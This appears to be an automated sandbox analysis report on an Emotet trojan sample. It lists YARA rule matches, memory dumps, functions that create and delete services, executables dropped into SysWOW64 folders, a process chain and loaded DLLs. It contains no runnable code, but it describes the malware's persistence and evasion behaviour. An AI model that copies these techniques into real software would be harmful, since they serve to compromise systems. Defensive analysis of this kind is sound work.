Source: 0.2.ExeFile (233).exe.21c052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.dfscli.exe.2230000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (233).exe.2260000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.dfscli.exe.219279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 3.2.mibincodec.exe.218279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 3.2.mibincodec.exe.21f0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.dfscli.exe.219052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown

Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe

Code function: 2_2_02238CD0 CloseServiceHandle,DeleteService,OpenServiceW,CloseServiceHandle,

2_2_02238CD0

Source: C:\Users\user\Desktop\ExeFile (233).exe	File created: C:\Windows\SysWOW64\rtmpal\			Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	File created: C:\Windows\SysWOW64\KBDTZM\			Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

File deleted: C:\Windows\SysWOW64\rtmpal\dfscli.exe:Zone.Identifier

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00401E50	0_2_00401E50
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040B0C2	0_2_0040B0C2
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_004231F4	0_2_004231F4
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040E658	0_2_0040E658
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00410ECC	0_2_00410ECC
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02268240	0_2_02268240
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02267740	0_2_02267740
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02266530	0_2_02266530
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02263BA0	0_2_02263BA0
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02263F20	0_2_02263F20
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02261C70	0_2_02261C70
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02263D10	0_2_02263D10
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C5ABE	0_2_021C5ABE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C92DE	0_2_021C92DE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C380E	0_2_021C380E
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C58AE	0_2_021C58AE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C80CE	0_2_021C80CE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C573E	0_2_021C573E
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C9DDE	0_2_021C9DDE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00401E50	2_2_00401E50
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040B0C2	2_2_0040B0C2
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_004231F4	2_2_004231F4
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040E658	2_2_0040E658
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00410ECC	2_2_00410ECC
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02238240	2_2_02238240
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02237740	2_2_02237740
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02236530	2_2_02236530
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02233BA0	2_2_02233BA0
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02233F20	2_2_02233F20
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02231C70	2_2_02231C70
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02233D10	2_2_02233D10
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02195ABE	2_2_02195ABE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_021992DE	2_2_021992DE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0219380E	2_2_0219380E
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_021958AE	2_2_021958AE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_021980CE	2_2_021980CE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0219573E	2_2_0219573E
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02199DDE	2_2_02199DDE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F8240	3_2_021F8240
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F3D10	3_2_021F3D10
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F6530	3_2_021F6530
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F3F20	3_2_021F3F20
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F7740	3_2_021F7740
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F1C70	3_2_021F1C70
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F3BA0	3_2_021F3BA0
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_0218380E	3_2_0218380E
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_02185ABE	3_2_02185ABE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021858AE	3_2_021858AE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021892DE	3_2_021892DE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021880CE	3_2_021880CE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_0218573E	3_2_0218573E
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_02189DDE	3_2_02189DDE

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: String function: 004243C6 appears 31 times
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: String function: 0040F510 appears 61 times
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: String function: 0040EA88 appears 142 times
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: String function: 004243C6 appears 31 times
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: String function: 0040F510 appears 61 times
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: String function: 0040EA88 appears 142 times

Source: ExeFile (233).exe, 00000000.00000000.2105550930.0000000000441000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSock.EXEB vs ExeFile (233).exe
Source: ExeFile (233).exe	Binary or memory string: OriginalFilenameSock.EXEB vs ExeFile (233).exe

Source: ExeFile (233).exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 2.2.dfscli.exe.219279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (233).exe.21c279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 3.2.mibincodec.exe.218279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 3.2.mibincodec.exe.218052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.dfscli.exe.219052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 3.2.mibincodec.exe.218052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (233).exe.21c052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (233).exe.21c279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (233).exe.21c052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.dfscli.exe.2230000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (233).exe.2260000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.dfscli.exe.219279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 3.2.mibincodec.exe.218279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 3.2.mibincodec.exe.21f0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.dfscli.exe.219052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/0@0/100

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: CloseServiceHandle,_snwprintf,CreateServiceW,CloseServiceHandle,		0_2_022687D0
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: CloseServiceHandle,_snwprintf,CreateServiceW,CloseServiceHandle,		2_2_022387D0

Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Code function: 3_2_021F4CB0 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32FirstW,Process32FirstW,Process32NextW,CloseHandle,FindCloseChangeNotification,

3_2_021F4CB0

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00403250 FindResourceA,

0_2_00403250

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_02265070 EnumServicesStatusExW,GetTickCount,ChangeServiceConfig2W,OpenServiceW,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,

0_2_02265070

Source: ExeFile (233).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ExeFile (233).exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ExeFile (233).exe

ReversingLabs: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\ExeFile (233).exe "C:\Users\user\Desktop\ExeFile (233).exe"
Source: C:\Users\user\Desktop\ExeFile (233).exe	Process created: C:\Windows\SysWOW64\rtmpal\dfscli.exe "C:\Windows\SysWOW64\rtmpal\dfscli.exe"
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Process created: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe "C:\Windows\SysWOW64\KBDTZM\mibincodec.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\ExeFile (233).exe	Process created: C:\Windows\SysWOW64\rtmpal\dfscli.exe "C:\Windows\SysWOW64\rtmpal\dfscli.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Process created: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe "C:\Windows\SysWOW64\KBDTZM\mibincodec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: windows.storage.dll	Jump to behavior
